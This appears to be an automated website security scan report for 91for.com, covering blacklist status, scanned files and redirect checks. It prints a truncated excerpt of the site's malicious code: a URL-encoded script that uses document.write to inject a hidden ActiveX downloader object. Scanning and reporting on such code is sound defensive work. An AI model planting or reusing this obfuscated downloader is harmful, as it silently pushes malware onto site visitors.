Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=91for.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://91for.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
| Request | Server response | Status |
http://91for.com/ | 200 OK Content-Length: 41721 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) <!-- var Words ="%3C%2Fhtml%3E%3C%2Fscript%3E%3C%2Fbody%3E%3CBODY%3E%3COBJECT%20ID%3D%22DownloaderActiveX1%22%20WIDTH%3D%220%22%20HEIGHT%3D%220%22%20CLASSID%3D%22CLSID%3Ac1b7e532%2D3ecb%2D4e9e%2Dbb3a%2D2951ffe67c61%22%20CODEBASE%3D%22DownloaderActiveX%2Ecab%23Version%3D1%2C0%2C0%2C1%22%3E%3CPARAM%20NAME%3D%22propProgressbackground%22%20VALUE%3D%22%23bccee8%22%3E%3CPARAM%20NAME%3D%22propTextbackground%22%20VALUE%3D%22%23f7f8fc%22%3E%3CPARAM%20NAME%3D%22propBarColor%22%20VALUE%3D%22% function SetNewWords() { var NewWords; NewWords = unescape(Words); document.write(NewWords); } SetNewWords(); Antivirus reports:
| ||
http://91for.com/js/jquery-1.8.0.min.js | 200 OK Content-Length: 92556 Content-Type: application/x-javascript | clean |
http://91for.com/js/jquery.jslides.js | 200 OK Content-Length: 2107 Content-Type: application/x-javascript | clean |
http://91for.com/js/cs_q.js | 200 OK Content-Length: 3315 Content-Type: application/x-javascript | clean |
http://91for.com/../Inc/southidcj2f.Js | 403 Forbidden Content-Length: 312 Content-Type: text/html | clean |
http://91for.com/test404page.js | 404 Not Found Content-Length: 5054 Content-Type: text/html | clean |
http://s19.cnzz.com/stat.php?id=3009757&web_id=3009757&show=pic | 200 OK Content-Length: 10075 Content-Type: application/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: 91for.com
Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Thu, 08 Jan 2015 07:13:30 GMT
Server: Microsoft-IIS/7.0
Content-Length: 41721
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQARBQTDC=LFABAHBDMIAGJCCHJJIKEKOD; path=/
X-Powered-By: ASP.NET
...41721 bytes of data.
GET / HTTP/1.1
Host: 91for.com
Result:
HTTP/1.1 200 OK
Cache-Control: private
Date: Thu, 08 Jan 2015 07:13:30 GMT
Server: Microsoft-IIS/7.0
Content-Length: 41721
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQARBQTDC=LFABAHBDMIAGJCCHJJIKEKOD; path=/
X-Powered-By: ASP.NET
...41721 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: 91for.com
Referer: http://www.google.com/search?q=91for.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: 91for.com
Referer: http://www.google.com/search?q=91for.com
Result:
The result is similar to the first query. There are no suspicious redirects found.